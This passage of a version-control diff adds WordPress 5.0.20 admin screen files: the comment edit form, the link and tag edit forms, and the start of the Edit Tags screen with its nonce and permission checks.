+		$name        = get_comment_author( $parent );
+	?>
+	<div class="misc-pub-section misc-pub-reply-to">
+		<?php printf(
+			/* translators: %s: comment link */
+			__( 'In reply to: %s' ),
+			'<b><a href="' . $parent_link . '">' . $name . '</a></b>'
+		); ?>
+	</div>
+<?php endif;
+endif; ?>
+
+<?php
+	/**
+	 * Filters miscellaneous actions for the edit comment form sidebar.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param string $html    Output HTML to display miscellaneous action.
+	 * @param object $comment Current comment object.
+	 */
+	 echo apply_filters( 'edit_comment_misc_actions', '', $comment );
+?>
+
+</div> <!-- misc actions -->
+<div class="clear"></div>
+</div>
+
+<div id="major-publishing-actions">
+<div id="delete-action">
+<?php echo "<a class='submitdelete deletion' href='" . wp_nonce_url("comment.php?action=" . ( !EMPTY_TRASH_DAYS ? 'deletecomment' : 'trashcomment' ) . "&amp;c=$comment->comment_ID&amp;_wp_original_http_referer=" . urlencode(wp_get_referer()), 'delete-comment_' . $comment->comment_ID) . "'>" . ( !EMPTY_TRASH_DAYS ? __('Delete Permanently') : __('Move to Trash') ) . "</a>\n"; ?>
+</div>
+<div id="publishing-action">
+<?php submit_button( __( 'Update' ), 'primary large', 'save', false ); ?>
+</div>
+<div class="clear"></div>
+</div>
+</div>
+</div>
+</div><!-- /submitdiv -->
+</div>
+
+<div id="postbox-container-2" class="postbox-container">
+<?php
+/** This action is documented in wp-admin/includes/meta-boxes.php */
+do_action( 'add_meta_boxes', 'comment', $comment );
+
+/**
+ * Fires when comment-specific meta boxes are added.
+ *
+ * @since 3.0.0
+ *
+ * @param WP_Comment $comment Comment object.
+ */
+do_action( 'add_meta_boxes_comment', $comment );
+
+do_meta_boxes(null, 'normal', $comment);
+
+$referer = wp_get_referer();
+?>
+</div>
+
+<input type="hidden" name="c" value="<?php echo esc_attr($comment->comment_ID) ?>" />
+<input type="hidden" name="p" value="<?php echo esc_attr($comment->comment_post_ID) ?>" />
+<input name="referredby" type="hidden" id="referredby" value="<?php echo $referer ? esc_url( $referer ) : ''; ?>" />
+<?php wp_original_referer_field(true, 'previous'); ?>
+<input type="hidden" name="noredir" value="1" />
+
+</div><!-- /post-body -->
+</div>
+</div>
+</form>
+
+<?php if ( ! wp_is_mobile() ) : ?>
+<script type="text/javascript">
+try{document.post.name.focus();}catch(e){}
+</script>
+<?php endif;
Index: /tags/5.0.20/src/wp-admin/edit-link-form.php
===================================================================
--- /tags/5.0.20/src/wp-admin/edit-link-form.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/edit-link-form.php	(revision 56912)
@@ -0,0 +1,156 @@
+<?php
+/**
+ * Edit links form for inclusion in administration panels.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+// don't load directly
+if ( !defined('ABSPATH') )
+	die('-1');
+
+if ( ! empty($link_id) ) {
+	$heading = sprintf( __( '<a href="%s">Links</a> / Edit Link' ), 'link-manager.php' );
+	$submit_text = __('Update Link');
+	$form_name = 'editlink';
+	$nonce_action = 'update-bookmark_' . $link_id;
+} else {
+	$heading = sprintf( __( '<a href="%s">Links</a> / Add New Link' ), 'link-manager.php' );
+	$submit_text = __('Add Link');
+	$form_name = 'addlink';
+	$nonce_action = 'add-bookmark';
+}
+
+require_once( ABSPATH . 'wp-admin/includes/meta-boxes.php' );
+
+add_meta_box('linksubmitdiv', __('Save'), 'link_submit_meta_box', null, 'side', 'core');
+add_meta_box('linkcategorydiv', __('Categories'), 'link_categories_meta_box', null, 'normal', 'core');
+add_meta_box('linktargetdiv', __('Target'), 'link_target_meta_box', null, 'normal', 'core');
+add_meta_box('linkxfndiv', __('Link Relationship (XFN)'), 'link_xfn_meta_box', null, 'normal', 'core');
+add_meta_box('linkadvanceddiv', __('Advanced'), 'link_advanced_meta_box', null, 'normal', 'core');
+
+/** This action is documented in wp-admin/includes/meta-boxes.php */
+do_action( 'add_meta_boxes', 'link', $link );
+
+/**
+ * Fires when link-specific meta boxes are added.
+ *
+ * @since 3.0.0
+ *
+ * @param object $link Link object.
+ */
+do_action( 'add_meta_boxes_link', $link );
+
+/** This action is documented in wp-admin/includes/meta-boxes.php */
+do_action( 'do_meta_boxes', 'link', 'normal', $link );
+/** This action is documented in wp-admin/includes/meta-boxes.php */
+do_action( 'do_meta_boxes', 'link', 'advanced', $link );
+/** This action is documented in wp-admin/includes/meta-boxes.php */
+do_action( 'do_meta_boxes', 'link', 'side', $link );
+
+add_screen_option('layout_columns', array('max' => 2, 'default' => 2) );
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'overview',
+	'title'   => __('Overview'),
+	'content' =>
+	'<p>' . __( 'You can add or edit links on this screen by entering information in each of the boxes. Only the link&#8217;s web address and name (the text you want to display on your site as the link) are required fields.' ) . '</p>' .
+	'<p>' . __( 'The boxes for link name, web address, and description have fixed positions, while the others may be repositioned using drag and drop. You can also hide boxes you don&#8217;t use in the Screen Options tab, or minimize boxes by clicking on the title bar of the box.' ) . '</p>' .
+	'<p>' . __( 'XFN stands for <a href="http://gmpg.org/xfn/">XHTML Friends Network</a>, which is optional. WordPress allows the generation of XFN attributes to show how you are related to the authors/owners of the site to which you are linking.' ) . '</p>'
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
+	'<p>' . __( '<a href="https://codex.wordpress.org/Links_Add_New_Screen">Documentation on Creating Links</a>' ) . '</p>' .
+	'<p>' . __( '<a href="https://wordpress.org/support/">Support Forums</a>' ) . '</p>'
+);
+
+require_once( ABSPATH . 'wp-admin/admin-header.php' );
+?>
+
+<div class="wrap">
+<h1 class="wp-heading-inline"><?php
+echo esc_html( $title );
+?></h1>
+
+<a href="link-add.php" class="page-title-action"><?php echo esc_html_x( 'Add New', 'link' ); ?></a>
+
+<hr class="wp-header-end">
+
+<?php if ( isset( $_GET['added'] ) ) : ?>
+<div id="message" class="updated notice is-dismissible"><p><?php _e('Link added.'); ?></p></div>
+<?php endif; ?>
+
+<form name="<?php echo esc_attr( $form_name ); ?>" id="<?php echo esc_attr( $form_name ); ?>" method="post" action="link.php">
+<?php
+if ( ! empty( $link_added ) ) {
+	echo $link_added;
+}
+
+wp_nonce_field( $nonce_action );
+wp_nonce_field( 'closedpostboxes', 'closedpostboxesnonce', false );
+wp_nonce_field( 'meta-box-order', 'meta-box-order-nonce', false ); ?>
+
+<div id="poststuff">
+
+<div id="post-body" class="metabox-holder columns-<?php echo 1 == get_current_screen()->get_columns() ? '1' : '2'; ?>">
+<div id="post-body-content">
+<div id="namediv" class="stuffbox">
+<h2><label for="link_name"><?php _ex( 'Name', 'link name' ) ?></label></h2>
+<div class="inside">
+	<input type="text" name="link_name" size="30" maxlength="255" value="<?php echo esc_attr($link->link_name); ?>" id="link_name" />
+	<p><?php _e('Example: Nifty blogging software'); ?></p>
+</div>
+</div>
+
+<div id="addressdiv" class="stuffbox">
+<h2><label for="link_url"><?php _e( 'Web Address' ) ?></label></h2>
+<div class="inside">
+	<input type="text" name="link_url" size="30" maxlength="255" class="code" value="<?php echo esc_attr($link->link_url); ?>" id="link_url" />
+	<p><?php _e('Example: <code>http://wordpress.org/</code> &#8212; don&#8217;t forget the <code>http://</code>'); ?></p>
+</div>
+</div>
+
+<div id="descriptiondiv" class="stuffbox">
+<h2><label for="link_description"><?php _e( 'Description' ) ?></label></h2>
+<div class="inside">
+	<input type="text" name="link_description" size="30" maxlength="255" value="<?php echo isset($link->link_description) ? esc_attr($link->link_description) : ''; ?>" id="link_description" />
+	<p><?php _e('This will be shown when someone hovers over the link in the blogroll, or optionally below the link.'); ?></p>
+</div>
+</div>
+</div><!-- /post-body-content -->
+
+<div id="postbox-container-1" class="postbox-container">
+<?php
+
+/** This action is documented in wp-admin/includes/meta-boxes.php */
+do_action( 'submitlink_box' );
+$side_meta_boxes = do_meta_boxes( 'link', 'side', $link );
+
+?>
+</div>
+<div id="postbox-container-2" class="postbox-container">
+<?php
+
+do_meta_boxes(null, 'normal', $link);
+
+do_meta_boxes(null, 'advanced', $link);
+
+?>
+</div>
+<?php
+
+if ( $link_id ) : ?>
+<input type="hidden" name="action" value="save" />
+<input type="hidden" name="link_id" value="<?php echo (int) $link_id; ?>" />
+<input type="hidden" name="cat_id" value="<?php echo (int) $cat_id ?>" />
+<?php else: ?>
+<input type="hidden" name="action" value="add" />
+<?php endif; ?>
+
+</div>
+</div>
+
+</form>
+</div>
Index: /tags/5.0.20/src/wp-admin/edit-tag-form.php
===================================================================
--- /tags/5.0.20/src/wp-admin/edit-tag-form.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/edit-tag-form.php	(revision 56912)
@@ -0,0 +1,277 @@
+<?php
+/**
+ * Edit tag form for inclusion in administration panels.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+// don't load directly
+if ( ! defined( 'ABSPATH' ) ) {
+	die( '-1' );
+}
+
+// Back compat hooks
+if ( 'category' == $taxonomy ) {
+	/**
+ 	 * Fires before the Edit Category form.
+	 *
+	 * @since 2.1.0
+	 * @deprecated 3.0.0 Use {$taxonomy}_pre_edit_form instead.
+	 *
+	 * @param object $tag Current category term object.
+	 */
+	do_action( 'edit_category_form_pre', $tag );
+} elseif ( 'link_category' == $taxonomy ) {
+	/**
+	 * Fires before the Edit Link Category form.
+	 *
+	 * @since 2.3.0
+	 * @deprecated 3.0.0 Use {$taxonomy}_pre_edit_form instead.
+	 *
+	 * @param object $tag Current link category term object.
+	 */
+	do_action( 'edit_link_category_form_pre', $tag );
+} else {
+	/**
+	 * Fires before the Edit Tag form.
+	 *
+	 * @since 2.5.0
+	 * @deprecated 3.0.0 Use {$taxonomy}_pre_edit_form instead.
+	 *
+	 * @param object $tag Current tag term object.
+	 */
+	do_action( 'edit_tag_form_pre', $tag );
+}
+
+/**
+ * Use with caution, see https://codex.wordpress.org/Function_Reference/wp_reset_vars
+ */
+wp_reset_vars( array( 'wp_http_referer' ) );
+
+$wp_http_referer = remove_query_arg( array( 'action', 'message', 'tag_ID' ), $wp_http_referer );
+
+/** Also used by Edit Tags */
+require_once( ABSPATH . 'wp-admin/includes/edit-tag-messages.php' );
+
+/**
+ * Fires before the Edit Term form for all taxonomies.
+ *
+ * The dynamic portion of the hook name, `$taxonomy`, refers to
+ * the taxonomy slug.
+ *
+ * @since 3.0.0
+ *
+ * @param object $tag      Current taxonomy term object.
+ * @param string $taxonomy Current $taxonomy slug.
+ */
+do_action( "{$taxonomy}_pre_edit_form", $tag, $taxonomy ); ?>
+
+<div class="wrap">
+<h1><?php echo $tax->labels->edit_item; ?></h1>
+
+<?php if ( $message ) : ?>
+<div id="message" class="updated">
+	<p><strong><?php echo $message; ?></strong></p>
+	<?php if ( $wp_http_referer ) { ?>
+	<p><a href="<?php echo esc_url( wp_validate_redirect( esc_url_raw( $wp_http_referer ), admin_url( 'term.php?taxonomy=' . $taxonomy ) ) ); ?>"><?php
+		echo esc_html( $tax->labels->back_to_items );
+	?></a></p>
+	<?php } ?>
+</div>
+<?php endif; ?>
+
+<div id="ajax-response"></div>
+
+<form name="edittag" id="edittag" method="post" action="edit-tags.php" class="validate"<?php
+/**
+ * Fires inside the Edit Term form tag.
+ *
+ * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug.
+ *
+ * @since 3.7.0
+ */
+do_action( "{$taxonomy}_term_edit_form_tag" );
+?>>
+<input type="hidden" name="action" value="editedtag"/>
+<input type="hidden" name="tag_ID" value="<?php echo esc_attr( $tag_ID ) ?>"/>
+<input type="hidden" name="taxonomy" value="<?php echo esc_attr( $taxonomy ) ?>"/>
+<?php
+wp_original_referer_field( true, 'previous' );
+wp_nonce_field( 'update-tag_' . $tag_ID );
+
+/**
+ * Fires at the beginning of the Edit Term form.
+ *
+ * At this point, the required hidden fields and nonces have already been output.
+ *
+ * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug.
+ *
+ * @since 4.5.0
+ *
+ * @param object $tag      Current taxonomy term object.
+ * @param string $taxonomy Current $taxonomy slug.
+ */
+do_action( "{$taxonomy}_term_edit_form_top", $tag, $taxonomy );
+?>
+	<table class="form-table">
+		<tr class="form-field form-required term-name-wrap">
+			<th scope="row"><label for="name"><?php _ex( 'Name', 'term name' ); ?></label></th>
+			<td><input name="name" id="name" type="text" value="<?php if ( isset( $tag->name ) ) echo esc_attr($tag->name); ?>" size="40" aria-required="true" />
+			<p class="description"><?php _e('The name is how it appears on your site.'); ?></p></td>
+		</tr>
+<?php if ( !global_terms_enabled() ) { ?>
+		<tr class="form-field term-slug-wrap">
+			<th scope="row"><label for="slug"><?php _e( 'Slug' ); ?></label></th>
+			<?php
+			/**
+			 * Filters the editable slug.
+			 *
+			 * Note: This is a multi-use hook in that it is leveraged both for editable
+			 * post URIs and term slugs.
+			 *
+			 * @since 2.6.0
+			 * @since 4.4.0 The `$tag` parameter was added.
+			 *
+			 * @param string         $slug The editable slug. Will be either a term slug or post URI depending
+			 *                             upon the context in which it is evaluated.
+			 * @param object|WP_Post $tag  Term or WP_Post object.
+			 */
+			$slug = isset( $tag->slug ) ? apply_filters( 'editable_slug', $tag->slug, $tag ) : '';
+			?>
+			<td><input name="slug" id="slug" type="text" value="<?php echo esc_attr( $slug ); ?>" size="40" />
+			<p class="description"><?php _e('The &#8220;slug&#8221; is the URL-friendly version of the name. It is usually all lowercase and contains only letters, numbers, and hyphens.'); ?></p></td>
+		</tr>
+<?php } ?>
+<?php if ( is_taxonomy_hierarchical($taxonomy) ) : ?>
+		<tr class="form-field term-parent-wrap">
+			<th scope="row"><label for="parent"><?php echo esc_html( $tax->labels->parent_item ); ?></label></th>
+			<td>
+				<?php
+				$dropdown_args = array(
+					'hide_empty'       => 0,
+					'hide_if_empty'    => false,
+					'taxonomy'         => $taxonomy,
+					'name'             => 'parent',
+					'orderby'          => 'name',
+					'selected'         => $tag->parent,
+					'exclude_tree'     => $tag->term_id,
+					'hierarchical'     => true,
+					'show_option_none' => __( 'None' ),
+				);
+
+				/** This filter is documented in wp-admin/edit-tags.php */
+				$dropdown_args = apply_filters( 'taxonomy_parent_dropdown_args', $dropdown_args, $taxonomy, 'edit' );
+				wp_dropdown_categories( $dropdown_args ); ?>
+				<?php if ( 'category' == $taxonomy ) : ?>
+					<p class="description"><?php _e( 'Categories, unlike tags, can have a hierarchy. You might have a Jazz category, and under that have children categories for Bebop and Big Band. Totally optional.' ); ?></p>
+				<?php else : ?>
+					<p class="description"><?php _e( 'Assign a parent term to create a hierarchy. The term Jazz, for example, would be the parent of Bebop and Big Band.' ); ?></p>
+				<?php endif; ?>
+			</td>
+		</tr>
+<?php endif; // is_taxonomy_hierarchical() ?>
+		<tr class="form-field term-description-wrap">
+			<th scope="row"><label for="description"><?php _e( 'Description' ); ?></label></th>
+			<td><textarea name="description" id="description" rows="5" cols="50" class="large-text"><?php echo $tag->description; // textarea_escaped ?></textarea>
+			<p class="description"><?php _e('The description is not prominent by default; however, some themes may show it.'); ?></p></td>
+		</tr>
+		<?php
+		// Back compat hooks
+		if ( 'category' == $taxonomy ) {
+			/**
+			 * Fires after the Edit Category form fields are displayed.
+			 *
+			 * @since 2.9.0
+			 * @deprecated 3.0.0 Use {$taxonomy}_edit_form_fields instead.
+			 *
+			 * @param object $tag Current category term object.
+			 */
+			do_action( 'edit_category_form_fields', $tag );
+		} elseif ( 'link_category' == $taxonomy ) {
+			/**
+			 * Fires after the Edit Link Category form fields are displayed.
+			 *
+			 * @since 2.9.0
+			 * @deprecated 3.0.0 Use {$taxonomy}_edit_form_fields instead.
+			 *
+			 * @param object $tag Current link category term object.
+			 */
+			do_action( 'edit_link_category_form_fields', $tag );
+		} else {
+			/**
+			 * Fires after the Edit Tag form fields are displayed.
+			 *
+			 * @since 2.9.0
+			 * @deprecated 3.0.0 Use {$taxonomy}_edit_form_fields instead.
+			 *
+			 * @param object $tag Current tag term object.
+			 */
+			do_action( 'edit_tag_form_fields', $tag );
+		}
+		/**
+		 * Fires after the Edit Term form fields are displayed.
+		 *
+		 * The dynamic portion of the hook name, `$taxonomy`, refers to
+		 * the taxonomy slug.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param object $tag      Current taxonomy term object.
+		 * @param string $taxonomy Current taxonomy slug.
+		 */
+		do_action( "{$taxonomy}_edit_form_fields", $tag, $taxonomy );
+		?>
+	</table>
+<?php
+// Back compat hooks
+if ( 'category' == $taxonomy ) {
+	/** This action is documented in wp-admin/edit-tags.php */
+	do_action( 'edit_category_form', $tag );
+} elseif ( 'link_category' == $taxonomy ) {
+	/** This action is documented in wp-admin/edit-tags.php */
+	do_action( 'edit_link_category_form', $tag );
+} else {
+	/**
+	 * Fires at the end of the Edit Term form.
+	 *
+	 * @since 2.5.0
+	 * @deprecated 3.0.0 Use {$taxonomy}_edit_form instead.
+	 *
+	 * @param object $tag Current taxonomy term object.
+	 */
+	do_action( 'edit_tag_form', $tag );
+}
+/**
+ * Fires at the end of the Edit Term form for all taxonomies.
+ *
+ * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug.
+ *
+ * @since 3.0.0
+ *
+ * @param object $tag      Current taxonomy term object.
+ * @param string $taxonomy Current taxonomy slug.
+ */
+do_action( "{$taxonomy}_edit_form", $tag, $taxonomy );
+?>
+
+<div class="edit-tag-actions">
+
+	<?php submit_button( __( 'Update' ), 'primary', null, false ); ?>
+
+	<?php if ( current_user_can( 'delete_term', $tag->term_id ) ) : ?>
+		<span id="delete-link">
+			<a class="delete" href="<?php echo admin_url( wp_nonce_url( "edit-tags.php?action=delete&taxonomy=$taxonomy&tag_ID=$tag->term_id", 'delete-tag_' . $tag->term_id ) ) ?>"><?php _e( 'Delete' ); ?></a>
+		</span>
+	<?php endif; ?>
+
+</div>
+
+</form>
+</div>
+
+<?php if ( ! wp_is_mobile() ) : ?>
+<script type="text/javascript">
+try{document.forms.edittag.name.focus();}catch(e){}
+</script>
+<?php endif;
Index: /tags/5.0.20/src/wp-admin/edit-tags.php
===================================================================
--- /tags/5.0.20/src/wp-admin/edit-tags.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/edit-tags.php	(revision 56912)
@@ -0,0 +1,591 @@
+<?php
+/**
+ * Edit Tags Administration Screen.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! $taxnow )
+	wp_die( __( 'Invalid taxonomy.' ) );
+
+$tax = get_taxonomy( $taxnow );
+
+if ( ! $tax )
+	wp_die( __( 'Invalid taxonomy.' ) );
+
+if ( ! in_array( $tax->name, get_taxonomies( array( 'show_ui' => true ) ) ) ) {
+   wp_die( __( 'Sorry, you are not allowed to edit terms in this taxonomy.' ) );
+}
+
+if ( ! current_user_can( $tax->cap->manage_terms ) ) {
+	wp_die(
+		'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
+		'<p>' . __( 'Sorry, you are not allowed to manage terms in this taxonomy.' ) . '</p>',
+		403
+	);
+}
+
+/**
+ * $post_type is set when the WP_Terms_List_Table instance is created
+ *
+ * @global string $post_type
+ */
+global $post_type;
+
+$wp_list_table = _get_list_table('WP_Terms_List_Table');
+$pagenum = $wp_list_table->get_pagenum();
+
+$title = $tax->labels->name;
+
+if ( 'post' != $post_type ) {
+	$parent_file = ( 'attachment' == $post_type ) ? 'upload.php' : "edit.php?post_type=$post_type";
+	$submenu_file = "edit-tags.php?taxonomy=$taxonomy&amp;post_type=$post_type";
+} elseif ( 'link_category' == $tax->name ) {
+	$parent_file = 'link-manager.php';
+	$submenu_file = 'edit-tags.php?taxonomy=link_category';
+} else {
+	$parent_file = 'edit.php';
+	$submenu_file = "edit-tags.php?taxonomy=$taxonomy";
+}
+
+add_screen_option( 'per_page', array( 'default' => 20, 'option' => 'edit_' . $tax->name . '_per_page' ) );
+
+get_current_screen()->set_screen_reader_content( array(
+	'heading_pagination' => $tax->labels->items_list_navigation,
+	'heading_list'       => $tax->labels->items_list,
+) );
+
+$location = false;
+$referer = wp_get_referer();
+if ( ! $referer ) { // For POST requests.
+	$referer = wp_unslash( $_SERVER['REQUEST_URI'] );
+}
+$referer = remove_query_arg( array( '_wp_http_referer', '_wpnonce', 'error', 'message', 'paged' ), $referer );
+switch ( $wp_list_table->current_action() ) {
+
+case 'add-tag':
+	check_admin_referer( 'add-tag', '_wpnonce_add-tag' );
+
+	if ( ! current_user_can( $tax->cap->edit_terms ) ) {
+		wp_die(
+			'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
+			'<p>' . __( 'Sorry, you are not allowed to create terms in this taxonomy.' ) . '</p>',
+			403
+		);
+	}
+
+	$ret = wp_insert_term( $_POST['tag-name'], $taxonomy, $_POST );
+	if ( $ret && !is_wp_error( $ret ) )
+		$location = add_query_arg( 'message', 1, $referer );
+	else
+		$location = add_query_arg( array( 'error' => true, 'message' => 4 ), $referer );
+
+	break;
+
+case 'delete':
+	if ( ! isset( $_REQUEST['tag_ID'] ) ) {
+		break;
+	}
+
+	$tag_ID = (int) $_REQUEST['tag_ID'];
+	check_admin_referer( 'delete-tag_' . $tag_ID );
+
+	if ( ! current_user_can( 'delete_term', $tag_ID ) ) {
+		wp_die(
+			'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
+			'<p>' . __( 'Sorry, you are not allowed to delete this item.' ) . '</p>',
+			403
+		);
+	}
+
+	wp_delete_term( $tag_ID, $taxonomy );
+
+	$location = add_query_arg( 'message', 2, $referer );
+
+	// When deleting a term, prevent the action from redirecting back to a term that no longer exists.
+	$location = remove_query_arg( array( 'tag_ID', 'action' ), $location );
+
+	break;
+
+case 'bulk-delete':
+	check_admin_referer( 'bulk-tags' );
+
+	if ( ! current_user_can( $tax->cap->delete_terms ) ) {
+		wp_die(
+			'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
+			'<p>' . __( 'Sorry, you are not allowed to delete these items.' ) . '</p>',
+			403
+		);
+	}
+
+	$tags = (array) $_REQUEST['delete_tags'];
+	foreach ( $tags as $tag_ID ) {
+		wp_delete_term( $tag_ID, $taxonomy );
+	}
+
+	$location = add_query_arg( 'message', 6, $referer );
+
+	break;
+
+case 'edit':
+	if ( ! isset( $_REQUEST['tag_ID'] ) ) {
+		break;
+	}
+
+	$term_id = (int) $_REQUEST['tag_ID'];
+	$term    = get_term( $term_id );
+
+	if ( ! $term instanceof WP_Term ) {
+		wp_die( __( 'You attempted to edit an item that doesn&#8217;t exist. Perhaps it was deleted?' ) );
+	}
+
+	wp_redirect( esc_url_raw( get_edit_term_link( $term_id, $taxonomy, $post_type ) ) );
+	exit;
+
+case 'editedtag':
+	$tag_ID = (int) $_POST['tag_ID'];
+	check_admin_referer( 'update-tag_' . $tag_ID );
+
+	if ( ! current_user_can( 'edit_term', $tag_ID ) ) {
+		wp_die(
+			'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
+			'<p>' . __( 'Sorry, you are not allowed to edit this item.' ) . '</p>',
+			403
+		);
+	}
+
+	$tag = get_term( $tag_ID, $taxonomy );
+	if ( ! $tag )
+		wp_die( __( 'You attempted to edit an item that doesn&#8217;t exist. Perhaps it was deleted?' ) );
+
+	$ret = wp_update_term( $tag_ID, $taxonomy, $_POST );
+
+	if ( $ret && ! is_wp_error( $ret ) ) {
+		$location = add_query_arg( 'message', 3, $referer );
+	} else {
+		$location = add_query_arg( array( 'error' => true, 'message' => 5 ), $referer );
+	}
+	break;
+default:
+	if ( ! $wp_list_table->current_action() || ! isset( $_REQUEST['delete_tags'] ) ) {
+		break;
+	}
+	check_admin_referer( 'bulk-tags' );
+	$tags = (array) $_REQUEST['delete_tags'];
+	/** This action is documented in wp-admin/edit-comments.php */
+	$location = apply_filters( 'handle_bulk_actions-' . get_current_screen()->id, $location, $wp_list_table->current_action(), $tags );
+	break;
+}
+
+if ( ! $location && ! empty( $_REQUEST['_wp_http_referer'] ) ) {
+	$location = remove_query_arg( array( '_wp_http_referer', '_wpnonce' ), wp_unslash( $_SERVER['REQUEST_URI'] ) );
+}
+
+if ( $location ) {
+	if ( $pagenum > 1 ) {
+		$location = add_query_arg( 'paged', $pagenum, $location ); // $pagenum takes care of $total_pages.
+	}
+
+	/**
+	 * Filters the taxonomy redirect destination URL.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param string $location The destination URL.
+	 * @param object $tax      The taxonomy object.
+	 */
+	wp_redirect( apply_filters( 'redirect_term_location', $location, $tax ) );
+	exit;
+}
+
+$wp_list_table->prepare_items();
+$total_pages = $wp_list_table->get_pagination_arg( 'total_pages' );
+
+if ( $pagenum > $total_pages && $total_pages > 0 ) {
+	wp_redirect( add_query_arg( 'paged', $total_pages ) );
+	exit;
+}
+
+wp_enqueue_script('admin-tags');
+if ( current_user_can($tax->cap->edit_terms) )
+	wp_enqueue_script('inline-edit-tax');
+
+if ( 'category' == $taxonomy || 'link_category' == $taxonomy || 'post_tag' == $taxonomy  ) {
+	$help ='';
+	if ( 'category' == $taxonomy )
+		$help = '<p>' . sprintf(__( 'You can use categories to define sections of your site and group related posts. The default category is &#8220;Uncategorized&#8221; until you change it in your <a href="%s">writing settings</a>.' ) , 'options-writing.php' ) . '</p>';
+	elseif ( 'link_category' == $taxonomy )
+		$help = '<p>' . __( 'You can create groups of links by using Link Categories. Link Category names must be unique and Link Categories are separate from the categories you use for posts.' ) . '</p>';
+	else
+		$help = '<p>' . __( 'You can assign keywords to your posts using <strong>tags</strong>. Unlike categories, tags have no hierarchy, meaning there&#8217;s no relationship from one tag to another.' ) . '</p>';
+
+	if ( 'link_category' == $taxonomy )
+		$help .= '<p>' . __( 'You can delete Link Categories in the Bulk Action pull-down, but that action does not delete the links within the category. Instead, it moves them to the default Link Category.' ) . '</p>';
+	else
+		$help .='<p>' . __( 'What&#8217;s the difference between categories and tags? Normally, tags are ad-hoc keywords that identify important information in your post (names, subjects, etc) that may or may not recur in other posts, while categories are pre-determined sections. If you think of your site like a book, the categories are like the Table of Contents and the tags are like the terms in the index.' ) . '</p>';
+
+	get_current_screen()->add_help_tab( array(
+		'id'      => 'overview',
+		'title'   => __('Overview'),
+		'content' => $help,
+	) );
+
+	if ( 'category' == $taxonomy || 'post_tag' == $taxonomy ) {
+		if ( 'category' == $taxonomy )
+			$help = '<p>' . __( 'When adding a new category on this screen, you&#8217;ll fill in the following fields:' ) . '</p>';
+		else
+			$help = '<p>' . __( 'When adding a new tag on this screen, you&#8217;ll fill in the following fields:' ) . '</p>';
+
+		$help .= '<ul>' .
+		'<li>' . __( '<strong>Name</strong> &mdash; The name is how it appears on your site.' ) . '</li>';
+
+		if ( ! global_terms_enabled() )
+			$help .= '<li>' . __( '<strong>Slug</strong> &mdash; The &#8220;slug&#8221; is the URL-friendly version of the name. It is usually all lowercase and contains only letters, numbers, and hyphens.' ) . '</li>';
+
+		if ( 'category' == $taxonomy )
+			$help .= '<li>' . __( '<strong>Parent</strong> &mdash; Categories, unlike tags, can have a hierarchy. You might have a Jazz category, and under that have child categories for Bebop and Big Band. Totally optional. To create a subcategory, just choose another category from the Parent dropdown.' ) . '</li>';
+
+		$help .= '<li>' . __( '<strong>Description</strong> &mdash; The description is not prominent by default; however, some themes may display it.' ) . '</li>' .
+		'</ul>' .
+		'<p>' . __( 'You can change the display of this screen using the Screen Options tab to set how many items are displayed per screen and to display/hide columns in the table.' ) . '</p>';
+
+		get_current_screen()->add_help_tab( array(
+			'id'      => 'adding-terms',
+			'title'   => 'category' == $taxonomy ? __( 'Adding Categories' ) : __( 'Adding Tags' ),
+			'content' => $help,
+		) );
+	}
+
+	$help = '<p><strong>' . __( 'For more information:' ) . '</strong></p>';
+
+	if ( 'category' == $taxonomy )
+		$help .= '<p>' . __( '<a href="https://codex.wordpress.org/Posts_Categories_Screen">Documentation on Categories</a>' ) . '</p>';
+	elseif ( 'link_category' == $taxonomy )
+		$help .= '<p>' . __( '<a href="https://codex.wordpress.org/Links_Link_Categories_Screen">Documentation on Link Categories</a>' ) . '</p>';
+	else
+		$help .= '<p>' . __( '<a href="https://codex.wordpress.org/Posts_Tags_Screen">Documentation on Tags</a>' ) . '</p>';
+
+	$help .= '<p>' . __('<a href="https://wordpress.org/support/">Support Forums</a>') . '</p>';
+
+	get_current_screen()->set_help_sidebar( $help );
+
+	unset( $help );
+}
+
+require_once( ABSPATH . 'wp-admin/admin-header.php' );
+
+/** Also used by the Edit Tag  form */
+require_once( ABSPATH . 'wp-admin/includes/edit-tag-messages.php' );
+
+$class = ( isset( $_REQUEST['error'] ) ) ? 'error' : 'updated';
+
+if ( is_plugin_active( 'wpcat2tag-importer/wpcat2tag-importer.php' ) ) {
+	$import_link = admin_url( 'admin.php?import=wpcat2tag' );
+} else {
+	$import_link = admin_url( 'import.php' );
+}
+
+?>
+
+<div class="wrap nosubsub">
+<h1 class="wp-heading-inline"><?php echo esc_html( $title ); ?></h1>
+
+<?php
+if ( isset( $_REQUEST['s'] ) && strlen( $_REQUEST['s'] ) ) {
+	/* translators: %s: search keywords */
+	printf( '<span class="subtitle">' . __( 'Search results for &#8220;%s&#8221;' ) . '</span>', esc_html( wp_unslash( $_REQUEST['s'] ) ) );
+}
+?>
+
+<hr class="wp-header-end">
+
+<?php if ( $message ) : ?>
+<div id="message" class="<?php echo $class; ?> notice is-dismissible"><p><?php echo $message; ?></p></div>
+<?php $_SERVER['REQUEST_URI'] = remove_query_arg( array( 'message', 'error' ), $_SERVER['REQUEST_URI'] );
+endif; ?>
+<div id="ajax-response"></div>
+
+<form class="search-form wp-clearfix" method="get">
+<input type="hidden" name="taxonomy" value="<?php echo esc_attr($taxonomy); ?>" />
+<input type="hidden" name="post_type" value="<?php echo esc_attr($post_type); ?>" />
+
